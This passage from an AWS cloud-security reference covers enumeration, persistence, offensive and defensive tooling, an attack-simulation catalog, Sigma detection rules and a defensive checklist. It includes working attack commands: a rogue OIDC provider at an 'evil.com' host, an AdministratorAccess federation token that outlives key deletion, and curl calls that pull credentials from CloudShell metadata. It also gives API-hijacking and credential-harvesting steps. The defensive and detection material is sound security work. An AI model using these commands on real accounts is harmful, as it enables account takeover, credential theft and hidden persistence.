| `timestream-query:DescribeEndpoints` | High (no CloudTrail) | Error reveals ARN |

Stealthy methods require the principal to LACK permissions for the API call (triggering informative error).

### 13.2 Account ID Discovery

| Method | Required Access |
|--------|----------------|
| Access key decoding (base32) | None — offline operation |
| `sts:GetAccessKeyInfo` | Any valid AWS creds (logs to caller only) |
| S3 bucket `s3:ResourceAccount` condition | Valid creds + s3 access |
| Error message parsing | Varies |

### 13.3 Cross-Account IAM User/Role Enumeration

**S3 bucket policy method**: Apply denial policy to your bucket targeting suspected ARN. Successful policy application = principal exists.

**AssumeRole policy method**: Modify assume-role policy in your own account specifying target principal. Policy update confirms existence.

**Tools**: Quiet Riot (scalable enumeration), `enumerate_iam_using_bucket_policy`, `pacu:iam_enum_roles`

**Console root email discovery**: Login error responses differ between valid and invalid email addresses.

**All cross-account enumeration uses YOUR CloudTrail, not the target's.**

### 13.4 Permission Brute Force

**Tool**: `enumerate-iam` — executes only non-destructive operations (get/list calls):

```bash
./enumerate-iam.py \
  --access-key $AWS_ACCESS_KEY_ID \
  --secret-key $AWS_SECRET_ACCESS_KEY \
  --session-token $AWS_SESSION_TOKEN
```

**OPSEC warning**: Extremely noisy. Generates substantial CloudTrail activity. Consider alternative enumeration first.

Update API coverage:
```bash
cd enumerate_iam && git clone aws-sdk-js
python generate_bruteforce_tests.py
```

### 13.5 Principal ARN from Unique ID

Create IAM role trust policy with unique ID as principal → save → refresh page → AWS normalizes ID to full ARN, revealing account ID, resource type, and path.

### 13.6 Service Discovery via AWS Backup

With `backup:List*`/`backup:Describe*`:
```bash
aws backup list-protected-resources          # What's backed up
aws backup list-backup-plans                 # Backup schedules
aws backup get-backup-plan --backup-plan-id X  # Plan details
```

Reveals: resource importance, tagging patterns, service breadth, retention strategies. Avoids service-specific enumeration API alerts.

### 13.7 Route53 DNS-Based API Hijacking

With `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`:

1. Create private hosted zone for AWS API endpoints
2. Insert A records pointing to attacker IP within VPC
3. Issue certificate via ACM-PCA matching AWS API domain
4. Intercept HTTPS calls — AWS SDKs do NOT have certificate pinning
---
## 14. Post-Exploitation & Persistence

### 14.1 IAM Persistence Methods

| Technique | Permissions Required | Detection |
|-----------|---------------------|-----------|
| Create access keys | `iam:CreateAccessKey` | CloudTrail: `CreateAccessKey` |
| Create login profile | `iam:CreateLoginProfile` | CloudTrail: `CreateLoginProfile` |
| Modify role trust policy | `iam:UpdateAssumeRolePolicy` | CloudTrail: `UpdateAssumeRolePolicy` |
| Add user to admin group | `iam:AddUserToGroup` | CloudTrail: `AddUserToGroup` |
| Create admin user | `iam:CreateUser` + `iam:AttachUserPolicy` | CloudTrail: `CreateUser` |
| Rogue OIDC provider | `iam:CreateOpenIDConnectProvider` | CloudTrail: `CreateOpenIDConnectProvider` |
| IAM Roles Anywhere | CA registration + profile creation | CloudTrail: `CreateTrustAnchor`, `CreateProfile` |
| CodeBuild GitHub runner | `iam:UpdateAssumeRolePolicy` + CodeBuild perms | CloudTrail: `CreateProject`, `CreateWebhook` |

### 14.2 Rogue OIDC Identity Provider

1. Deploy OIDC server on attacker infrastructure (RogueOIDC tool)
2. Register provider: `aws iam create-open-id-connect-provider --url https://oidc.evil.com --client-id-list oidc_client`
3. Modify existing role trust policy (more stealthy than creating new role)
4. Use RogueOIDC assumption script for credential recovery

### 14.3 IAM Roles Anywhere Persistence

1. Generate malicious CA certificate and private key
2. Register CA as trust anchor in victim account
3. Create/modify IAM role with trust policy referencing trust anchor ARN
4. Create profile linking roles to trust anchor
5. Sign client certificate with malicious CA
6. Use `aws_signing_helper` to generate temporary credentials from outside AWS

### 14.4 Role Chain Juggling

Exploit role chaining to maintain indefinite access:
- Each `assume-role` call refreshes credential expiration
- Chain same role (if self-assumption allowed) or multiple roles
- Tool: AWSRoleJuggler automates credential refresh

### 14.5 Surviving Access Key Deletion

```bash
aws sts get-federation-token \
  --name attacker \
  --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess \
  --duration-seconds 129600
```

Federation tokens remain valid after original access keys are deleted.

**Limitations**: Cannot invoke IAM operations via CLI, cannot use most STS operations.
**Bypass**: Generate console sessions from federation tokens for full console access.

**Defense**: Attach `DenyAll` policy to compromised users; monitor `sts:GetFederationToken`; SCP restrictions.

### 14.6 Console Session from IAM Credentials

**For AKIA (long-term)**: First generate temp creds via `sts:GetFederationToken` or `sts:AssumeRole`.
**For ASIA (temporary)**: Use directly.

Tools: `aws-vault login` (with `-s` for URL output), `aws_consoler`, Pacu.

**OPSEC**: Generates `ConsoleLogin` events and unusual user-agent strings — not suitable for stealth.

### 14.7 Getting IAM Creds from Console Sessions

**CloudShell metadata** (port 1338):
```bash
TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
```

**Console service endpoints** (`/tb/creds`):
```
https://REGION.console.aws.amazon.com/SERVICE/tb/creds
```
Returns service-scoped credentials as JSON. Each service endpoint returns different scoped creds.

**CLIer browser extension**: Automates credential harvesting by patching `fetch()` and `XMLHttpRequest`.

**Detection**: Generates no additional CloudTrail logs — indistinguishable from legitimate console activity.

### 14.8 Lambda Persistence

- Runtime file replacement (`bootstrap.py`, `runtime.rb`)
- Layer injection with library overrides
- Resource policy backdoors for cross-account invoke
- Cold start limitation: 5-15 minutes of inactivity loses persistence

### 14.9 S3 ACL Persistence

Grant bucket/object ACLs to attacker-controlled accounts for persistent access to Terraform state, CloudFormation templates, application code.

### 14.10 User Data Script Persistence

- Direct modification via `ec2:ModifyInstanceAttribute` (instance must be stopped)
- Indirect: compromise S3 bucket referenced by user data download scripts
- Auto Scaling Groups amplify impact — new instances pull poisoned scripts

### 14.11 Network Firewall Egress Bypass

SNI spoofing and Host header manipulation to bypass egress filtering for C2 and exfiltration channels.
---
## 15. Tooling Arsenal

### 15.1 Offensive Tools

| Tool | Purpose | Key Capability |
|------|---------|---------------|
| **Pacu** | AWS exploitation framework | Modular attack automation — enumeration, privesc, persistence, exfiltration |
| **enumerate-iam** | Permission brute force | Non-destructive get/list API enumeration |
| **Quiet Riot** | Cross-account enumeration | Scalable IAM user/role/email discovery |
| **AWSRoleJuggler** | Persistence | Automated role chain credential refresh |
| **SneakyEndpoints** | Detection evasion | Terraform-automated VPC Endpoint setup |
| **RogueOIDC** | Persistence | Attacker-controlled OIDC provider for role assumption |
| **aws_consoler** | Post-exploitation | Convert CLI credentials to console access |
| **CloudShovel** | Reconnaissance | Scan AMIs for sensitive files/secrets |
| **coldsnap** | Data access | CLI for EBS snapshot operations |
| **EC2StepShell** | Execution | Shell-like interactivity via SSM |
| **CLIer** | Credential theft | Browser extension for console credential harvesting |
| **Stratus Red Team** | Attack simulation | Cloud adversary emulation (43 AWS techniques) |
| **s3-account-search** | Enumeration | Account ID from S3 bucket name |

### 15.2 Defensive & Assessment Tools

| Tool | Purpose | Key Capability |
|------|---------|---------------|
| **Prowler** | Security assessment | CIS benchmarks, compliance, multi-cloud |
| **ScoutSuite** | Multi-cloud audit | API-driven config collection, HTML reports, offline analysis |
| **PMapper** | IAM analysis | Graph-based privesc path identification |
| **policy_sentry** | IAM policy generation | CRUD-based least privilege policy creation |
| **CloudTracker** | Permission analysis | Unused IAM permission detection via CloudTrail comparison |
| **CloudMapper** | Visualization | AWS environment analysis and visualization |
| **CloudCustodian** | Policy enforcement | YAML-driven cloud governance rules engine |
| **CloudSploit** | Security scanning | Node.js AWS security checks |
| **PacBot** | Continuous compliance | Continuous compliance monitoring and automation |
| **ICE** | Cost analysis | Usage insights and cost dashboards |
| **SkyArk** | Privilege assessment | Privileged entity discovery and assessment |
| **Trailblazer AWS** | CloudTrail analysis | Logging coverage and attack simulation |
| **Lunar** | Multi-framework audit | Security auditing across multiple frameworks |
| **aws-key-disabler** | Key hygiene | Lambda function disabling old access keys |
| **findmytakeover** | DNS security | Dangling domain discovery across multi-cloud |
| **AWS Network Access Analyzer** | Network security | Internet reachability analysis across accounts |

### 15.3 Pacu Module Categories

Pacu provides modular attack capabilities across:

| Category | Capabilities |
|----------|-------------|
| **Enumeration** | IAM, EC2, S3, Lambda, RDS, CloudFormation, ECS, etc. |
| **Privilege Escalation** | All known IAM privesc paths |
| **Persistence** | IAM backdoors, Lambda persistence, access key creation |
| **Credential Access** | EC2 metadata, user data, secrets, parameter store |
| **Lateral Movement** | Cross-account role assumption, EC2 instance connect |
| **Exfiltration** | S3, EBS snapshot sharing, AMI sharing, RDS snapshots |
| **Defense Evasion** | CloudTrail manipulation, GuardDuty modification |

Install: `pip3 install -U pacu` or `docker run -it rhinosecuritylabs/pacu:latest`

### 15.4 policy_sentry Workflow

```bash
# Create template
policy_sentry create-template --output-file crud.yml --template-type crud

# Populate ARNs and access levels (Read, Write, List, Tagging, Permissions Management)

# Generate policy
policy_sentry write-policy --input-file crud.yml

# Query IAM database
policy_sentry query action-table --service s3 --access-level write
```

### 15.5 PMapper Usage

```bash
# Create permission graph
pmapper graph create

# Check for privilege escalation
pmapper query 'who can do iam:* with *'

# Identify admin-equivalent principals
pmapper analysis

# Visualize as SVG
pmapper visualize
```

Graph-based approach traces indirect access paths (e.g., user cannot read S3 directly but could launch EC2 with those permissions).

### 15.6 CloudTracker Workflow

```bash
# Export IAM data
aws iam get-account-authorization-details > account-data.json

# Analyze
cloudtracker --account demo --list users --start 2018-01-01
cloudtracker --account demo --user alice --show-used
cloudtracker --account demo --role admin --show-used
```

Output symbols: (none)=used, (-)=unused/remove, (?)=not auditable via CloudTrail, (+)=used without current authorization.
---
## 16. Stratus Red Team Attack Catalog

### 16.1 Complete AWS Technique List

#### Credential Access
| ID | Technique | MITRE |
|----|-----------|-------|
| `aws.credential-access.ec2-get-password-data` | Retrieve EC2 Password Data | T1552 |
| `aws.credential-access.ec2-steal-instance-credentials` | Steal EC2 Instance Credentials | T1552.005 |
| `aws.credential-access.secretsmanager-batch-retrieve-secrets` | Batch Retrieve Secrets Manager Secrets | T1555 |
| `aws.credential-access.secretsmanager-retrieve-secrets` | Retrieve Secrets Manager Secrets | T1555 |
| `aws.credential-access.ssm-retrieve-securestring-parameters` | Retrieve/Decrypt SSM Parameters | T1555 |

#### Defense Evasion
| ID | Technique | MITRE |
|----|-----------|-------|
| `aws.defense-evasion.cloudtrail-delete` | Delete CloudTrail Trail | T1562.008 |
| `aws.defense-evasion.cloudtrail-event-selectors` | Disable Logging via Event Selectors | T1562.008 |
| `aws.defense-evasion.cloudtrail-lifecycle-rule` | Impair Logs via S3 Lifecycle Rule | T1562.008 |
| `aws.defense-evasion.cloudtrail-stop` | Stop CloudTrail Trail | T1562.008 |
| `aws.defense-evasion.dns-delete-logs` | Delete DNS Query Logs | T1562.008 |
| `aws.defense-evasion.organizations-leave` | Attempt to Leave Organization | T1562 |
| `aws.defense-evasion.vpc-remove-flow-logs` | Remove VPC Flow Logs | T1562.008 |

#### Discovery
| ID | Technique | MITRE |
|----|-----------|-------|
| `aws.discovery.ec2-download-user-data` | Download EC2 User Data | T1552.005 |
| `aws.discovery.ec2-enumerate-from-instance` | Execute Discovery Commands on EC2 | T1580 |
| `aws.discovery.ses-enumerate` | Enumerate SES | T1580 |

#### Execution
| ID | Technique | MITRE |
|----|-----------|-------|
| `aws.execution.ec2-launch-unusual-instances` | Launch Unusual EC2 Instances | T1204 |
| `aws.execution.ec2-user-data` | Execute Commands via User Data | T1059 |
| `aws.execution.sagemaker-update-lifecycle-config` | SageMaker Lifecycle Config Abuse | T1059 |
| `aws.execution.ssm-send-command` | SSM SendCommand on Multiple Instances | T1569 |
| `aws.execution.ssm-start-session` | SSM StartSession on Multiple Instances | T1569 |

#### Exfiltration
| ID | Technique | MITRE |
|----|-----------|-------|
| `aws.exfiltration.ec2-security-group-open-port-22-ingress` | Open Port 22 on Security Group | T1048 |
| `aws.exfiltration.ec2-share-ami` | Exfiltrate AMI by Sharing | T1537 |
| `aws.exfiltration.ec2-share-ebs-snapshot` | Exfiltrate EBS Snapshot by Sharing | T1537 |
| `aws.exfiltration.rds-share-snapshot` | Exfiltrate RDS Snapshot by Sharing | T1537 |
| `aws.exfiltration.s3-backdoor-bucket-policy` | Backdoor S3 Bucket Policy | T1537 |

#### Impact
| ID | Technique | MITRE |
|----|-----------|-------|
| `aws.impact.bedrock-invoke-model` | Invoke Bedrock Model | T1496 |
| `aws.impact.s3-ransomware-batch-deletion` | S3 Ransomware (Batch Deletion) | T1485 |
| `aws.impact.s3-ransomware-client-side-encryption` | S3 Ransomware (Client-Side Encryption) | T1486 |
| `aws.impact.s3-ransomware-individual-deletion` | S3 Ransomware (Individual Deletion) | T1485 |

#### Initial Access
| ID | Technique | MITRE |
|----|-----------|-------|
| `aws.initial-access.console-login-without-mfa` | Console Login Without MFA | T1078 |

#### Lateral Movement
| ID | Technique | MITRE |
|----|-----------|-------|
| `aws.lateral-movement.ec2-instance-connect` | EC2 Instance Connect on Multiple Instances | T1021 |
| `aws.lateral-movement.ec2-serial-console-send-ssh-public-key` | EC2 Serial Console SSH Key Push | T1021 |

#### Persistence
| ID | Technique | MITRE |
|----|-----------|-------|
| `aws.persistence.iam-backdoor-role` | Backdoor IAM Role | T1098.001 |
| `aws.persistence.iam-backdoor-user` | Create Access Key on IAM User | T1098.001 |
| `aws.persistence.iam-create-admin-user` | Create Administrative IAM User | T1136.003 |
| `aws.persistence.iam-create-backdoor-role` | Create Backdoored IAM Role | T1098.001 |
| `aws.persistence.iam-create-user-login-profile` | Create Login Profile on IAM User | T1098.001 |
| `aws.persistence.lambda-backdoor-function` | Backdoor Lambda via Resource Policy | T1098 |
| `aws.persistence.lambda-layer-extension` | Add Malicious Lambda Extension | T1546 |
| `aws.persistence.lambda-overwrite-code` | Overwrite Lambda Function Code | T1525 |
| `aws.persistence.rolesanywhere-create-trust-anchor` | Create IAM Roles Anywhere Trust Anchor | T1098.001 |
| `aws.persistence.sts-federation-token` | GetFederationToken for Persistence | T1098 |

#### Privilege Escalation
| ID | Technique | MITRE |
|----|-----------|-------|
| `aws.privilege-escalation.iam-update-user-login-profile` | Change IAM User Password | T1098.001 |

**Total: 43 AWS attack simulations**
---
## 17. Detection Engineering

### 17.1 CloudTrail Events to Monitor

#### Critical Severity

| Event | Threat | Detection |
|-------|--------|-----------|
| `StopLogging` / `DeleteTrail` | CloudTrail evasion | Alert on any occurrence |
| `UpdateDetector` (GuardDuty) | GuardDuty tampering | Alert on any modification |
| `CreateAccessKey` (for other users) | Credential persistence | Alert when actor != target |
| `CreateUser` + `AttachUserPolicy` | Admin user creation | Alert on AdministratorAccess |
| `UpdateAssumeRolePolicy` | Role trust modification | Alert and diff trust policy |
| `CreateOpenIDConnectProvider` | Rogue OIDC provider | Alert on any occurrence |
| `PutBucketReplication` | S3 data exfiltration | Alert on cross-account destinations |
| `ModifySnapshotAttribute` (public) | EBS snapshot exposure | Alert on createVolumePermission=all |

#### High Severity

| Event | Threat | Detection |
|-------|--------|-----------|
| `PutEventSelectors` | Selective logging evasion | Alert and compare selectors |
| `CreatePolicyVersion` | Policy modification | Alert and diff policy content |
| `CreateLoginProfile` / `UpdateLoginProfile` | Console access creation | Alert when actor != target |
| `PutBucketPolicy` | S3 policy modification | Alert on public or cross-account |
| `CreateIPSet` (GuardDuty) | Trusted IP manipulation | Alert on any occurrence |
| `CreateFilter` (GuardDuty) | Finding suppression | Alert on any occurrence |
| `ModifyInstanceAttribute` (userData) | EC2 persistence | Alert and inspect payload |
| `RunInstances` (with `iam:PassRole`) | Privesc via EC2 | Alert on unusual role assumption |

#### Medium Severity

| Event | Threat | Detection |
|-------|--------|-----------|
| `GetFederationToken` | Surviving key deletion | Baseline and alert anomalies |
| `AssumeRole` (cross-account) | Lateral movement | Alert on unknown account IDs |
| `GetSecretValue` (batch) | Secret harvesting | Threshold-based alerting |
| `GetParameter` (with `--with-decryption`) | Parameter store access | Alert on unusual principals |
| `BatchGetImage` (ECR) | Container image theft | Alert on external principals |
| `SendCommand` (multiple targets) | Mass command execution | Threshold-based alerting |
| `ConsoleLogin` (without MFA) | Weak authentication | Alert on all non-MFA logins |
| `DeleteFlowLogs` | Network monitoring evasion | Alert on any occurrence |

### 17.2 Sigma Rule Templates

#### CloudTrail Logging Disabled

```yaml
title: AWS CloudTrail Logging Disabled
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects when CloudTrail logging is stopped or the trail is deleted
logsource:
Product: aws
Service: cloudtrail
detection:
Selection:
EventName:
      - StopLogging
      - DeleteTrail
Condition: selection
falsepositives:
  - Authorized trail maintenance during rotation
level: critical
tags:
  - attack.t1562.008
  - attack.defense_evasion
```

#### IAM Access Key Created for Different User

```yaml
title: AWS IAM Access Key Created for Another User
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects access key creation for a user different from the actor, indicating potential persistence
logsource:
Product: aws
Service: cloudtrail
detection:
Selection:
EventName: CreateAccessKey
Filter:
UserIdentity.arn|contains: '${requestParameters.userName}'
Condition: selection and not filter
falsepositives:
  - Legitimate admin key rotation for service accounts
level: high
tags:
  - attack.t1098.001
  - attack.persistence
```

#### GuardDuty Detector Modified

```yaml
title: AWS GuardDuty Detector Configuration Modified
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Detects modification of GuardDuty detector settings which may indicate defense evasion
logsource:
Product: aws
Service: cloudtrail
detection:
Selection:
EventName:
      - UpdateDetector
      - DeleteDetector
      - CreateIPSet
      - UpdateIPSet
      - CreateFilter
      - DeletePublishingDestination
Condition: selection
falsepositives:
  - Authorized GuardDuty configuration changes during setup
level: critical
tags:
  - attack.t1562.001
  - attack.defense_evasion
```

#### Unusual IAM Role Trust Policy Modification

```yaml
title: AWS IAM Role Trust Policy Modified
id: d4e5f6a7-b8c9-0123-defa-234567890123
status: experimental
description: Detects trust policy updates that could enable cross-account role assumption or persistence
logsource:
Product: aws
Service: cloudtrail
detection:
Selection:
EventName: UpdateAssumeRolePolicy
Condition: selection
falsepositives:
  - CI/CD pipeline role trust updates
  - Authorized cross-account federation setup
level: high
tags:
  - attack.t1098.001
  - attack.persistence
```

### 17.3 Detection Coverage Matrix (ATT&CK Cloud)

| Tactic | Technique | Detection Source | Coverage |
|--------|-----------|-----------------|----------|
| Initial Access | T1078 (Valid Accounts) | CloudTrail ConsoleLogin, AssumeRole | Medium |
| Initial Access | T1190 (Exploit Public-Facing) | VPC Flow Logs, ALB logs | Low |
| Execution | T1059 (Command Execution) | CloudTrail SSM events | Medium |
| Execution | T1204 (User Execution) | CloudTrail RunInstances | Medium |
| Persistence | T1098 (Account Manipulation) | CloudTrail IAM events | High |
| Persistence | T1136 (Create Account) | CloudTrail CreateUser | High |
| Persistence | T1525 (Implant Container) | CloudTrail ECR events | Medium |
| Persistence | T1546 (Event-Triggered Exec) | CloudTrail Lambda events | Medium |
| Privilege Escalation | T1078 (Valid Accounts) | CloudTrail AssumeRole patterns | Medium |
| Defense Evasion | T1562 (Impair Defenses) | CloudTrail trail/GuardDuty events | High |
| Credential Access | T1552 (Unsecured Credentials) | CloudTrail metadata/userdata access | Low |
| Credential Access | T1555 (Credentials from Stores) | CloudTrail Secrets Manager events | High |
| Discovery | T1580 (Cloud Discovery) | CloudTrail Describe/List events | Low |
| Lateral Movement | T1021 (Remote Services) | CloudTrail SSM, Instance Connect | Medium |
| Exfiltration | T1537 (Transfer to Cloud) | CloudTrail sharing events | High |
| Impact | T1485/T1486 (Data Destruction) | CloudTrail S3 delete events | High |

### 17.4 Key Detection Gaps

1. **Lambda credential theft**: No GuardDuty alert — must rely on anomalous API patterns
2. **SSM SendCommand**: Default not logged to CloudTrail — enable SSM data events
3. **S3 data events**: Rarely enabled — `GetObject` exfiltration often invisible
4. **Stealthy whoami calls**: `sqs:ListQueues`, pinpoint SMS, timestream query — no CloudTrail
5. **Console credential extraction**: `/tb/creds` endpoints — no additional CloudTrail logs
6. **Connection tracking abuse**: Established connections survive SG changes — no log indicator
7. **Network Firewall bypass**: SNI/Host header spoofing — firewall logs show allowed domain
8. **VPC Endpoint credential laundering**: Expanding detection (26 services as of mid-2025) but not complete

### 17.5 Recommended Detection Stack

```
CloudTrail (Management + Data Events) → S3 → Athena/OpenSearch
                                      → CloudWatch Logs → Metric Filters → Alarms
                                      → EventBridge → Lambda/SNS → SIEM

GuardDuty → EventBridge → Security Hub → SIEM

VPC Flow Logs → S3/CloudWatch → SIEM

S3 Server Access Logs → S3 → Athena

Config → Config Rules → SNS → SIEM

Access Analyzer → EventBridge → Security Hub → SIEM
```
---
## Appendix A: Quick Reference Attack Chains

### A.1 Unauthenticated to Admin

```
Public S3 bucket → Terraform state file → IAM credentials
→ sts:GetCallerIdentity → iam:AttachUserPolicy (AdministratorAccess) → Admin
```

### A.2 SSRF to Cloud Takeover

```
SSRF in web app → IMDSv1 → EC2 role credentials
→ Enumerate permissions → iam:PassRole + lambda:CreateFunction
→ Create Lambda with admin role → Invoke → Admin credentials
```

### A.3 CI/CD Pipeline Compromise

```
Misconfigured GitLab OIDC → AssumeRoleWithWebIdentity
→ Enumerate permissions → Access Secrets Manager → Database credentials
→ Data exfiltration via S3 streaming copy
```

### A.4 Persistence After Detection

```
Initial access detected → sts:GetFederationToken (before key deletion)
→ Federation token survives key deletion → Console session
→ Create rogue OIDC provider → IAM Roles Anywhere trust anchor
→ Certificate-based persistent access from outside AWS
```

### A.5 Cross-Account Lateral Movement

```
Compromise management account → OrganizationAccountAccessRole
→ Admin in all member accounts → S3 replication to attacker bucket
→ Role chain juggling for persistence
```
---
## Appendix B: Defensive Checklist

### Identity & Access Management
- [ ] Enforce IMDSv2 on all EC2 instances
- [ ] Implement permission boundaries for delegated administration
- [ ] Enable MFA for all IAM users and root accounts
- [ ] Rotate access keys regularly; disable unused keys
- [ ] Use IAM Access Analyzer to identify external access
- [ ] Run PMapper to identify privilege escalation paths
- [ ] Implement least privilege with policy_sentry
- [ ] Monitor and alert on all IAM modification events
- [ ] Restrict `iam:PassRole` to specific roles only
- [ ] Audit OIDC provider trust policies for proper `sub` conditions

### Data Protection
- [ ] Enable S3 Block Public Access at account level
- [ ] Disable per-object ACLs (Object Ownership = BucketOwnerEnforced)
- [ ] Enable S3 data events in CloudTrail
- [ ] Implement VPC Endpoint policies for S3 data perimeters
- [ ] Enable default encryption on all S3 buckets
- [ ] Monitor for `PutBucketReplication` and `PutBucketPolicy` changes
- [ ] Audit EBS snapshots for public exposure
- [ ] Enable RDS snapshot sharing monitoring

### Network
- [ ] Enable VPC Flow Logs on all VPCs
- [ ] Implement TLS inspection for Network Firewall (with limitations noted)
- [ ] Use NACLs as backup for SG connection tracking limitations
- [ ] Monitor for `DeleteFlowLogs` events
- [ ] Implement VPC Endpoint policies restricting cross-org access

### Logging & Monitoring
- [ ] Enable CloudTrail in all regions with multi-region trail
- [ ] Enable CloudTrail data events for critical S3 buckets and Lambda
- [ ] Enable GuardDuty in all regions
- [ ] Configure GuardDuty finding export to S3/SIEM
- [ ] Enable DNS query logging
- [ ] Monitor for CloudTrail/GuardDuty tampering events
- [ ] Enable AWS Config for configuration change tracking
- [ ] Deploy Access Analyzer for continuous external access monitoring

### Organization
- [ ] Deploy SCPs to restrict dangerous operations
- [ ] Never deploy infrastructure in management account
- [ ] Implement SCP-based cost control for expensive operations
- [ ] Monitor OrganizationAccountAccessRole usage
- [ ] Use SCPs (not IAM policies) for containment during incidents
- [ ] Enable all features in Organizations (not just consolidated billing)
- [ ] Test SCPs in isolated OUs before organization-wide deployment
---
*This document synthesizes content from hackingthe.cloud, AWS official documentation, Stratus Red Team, Pacu, ScoutSuite, PMapper, policy_sentry, CloudTracker, and community security research. All techniques documented for authorized security testing and defense improvement.*
